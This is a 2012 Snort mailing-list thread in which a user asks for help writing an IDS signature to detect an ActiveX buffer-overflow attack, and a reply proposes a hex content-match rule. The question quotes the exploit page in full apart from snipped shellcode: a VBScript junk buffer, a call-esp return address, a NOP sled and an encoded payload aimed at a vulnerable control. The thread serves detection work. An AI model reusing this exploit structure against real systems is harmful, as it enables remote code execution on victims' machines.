Snort mailing list archives

Re: Problem writing a sig to capture vbscript unescape sequence

From: Balasubramaniam Natarajan <bala150985 () gmail com>
Date: Sat, 19 May 2012 12:06:16 +0530

Hi Bob,

See if this works

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Possible ActiveX
overflow via VB Script"; flow:established,from_server; content:"|65 69 70
20 3d 20 75 6e 65 73 63 61 70 65 28 22 25 36 37 25 34 31 25 34 31 25 37 65
22 29|"; sid:10000111; rev:1;)

On Fri, May 18, 2012 at 11:22 PM, Bob Huber <roberthuberjr () yahoo com> wrote:

I'm trying to write a sig for this ActiveX overflow:

<html>
<body>
<object classid='clsid:B7ECFD41-BE62-11D2-B9A8-00104B138C8C'
id='KEYHELPLib' />
</object>
<script language='vbscript'>
//executing calc
scode =      unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49")
& _
             ...SNIP...
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
jnk = string(537,"A")
eip = unescape("%67%41%41%7e") '0x7E414167      call esp user32.dll
nop = string(16,unescape("%90"))
mapID=1
pstrChmFile= jnk + eip + nop + scode
pstrFrame="aaaaaaaa"
'KEYHELPLib.JumpMappedID mapID,pstrChmFile,pstrFrame
KEYHELPLib.JumpURL mapID,pstrChmFile,pstrFrame
</script>
</body>
</html>

The problem I'm having is trying to get a content match off of the line -
   eip = unescape("%67%41%41%7e")
I can't figure out how to match that content.  I'm running both 2.8.5 and
2.9.2.  I was assuming it would see the <script> tag and it would try to
decode javascript, and maybe that was the problem.  I've tried file_data,
I've tried pkt_data. I've turned off javascript normalization, I've turned
off extended_response_inspection.  No luck.

Any help appreciated.

Bob


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-- 
Regards,
Balasubramaniam Natarajan
www.etutorshop.com/moodle/

------------------------------------------------------------------------------
Live Security Virtual Conference
Exclusive live event will cover all the ways today's security and 
threat landscape has changed and how IT managers can respond. Discussions 
will include endpoint security, mobile security and the latest in malware 
threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/

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Current thread:

Problem writing a sig to capture vbscript unescape sequence Bob Huber (May 18)
- Re: Problem writing a sig to capture vbscript unescape sequence Balasubramaniam Natarajan (May 18)
- <Possible follow-ups>
- Problem writing a sig to capture vbscript unescape sequence Nathan Benson (May 18)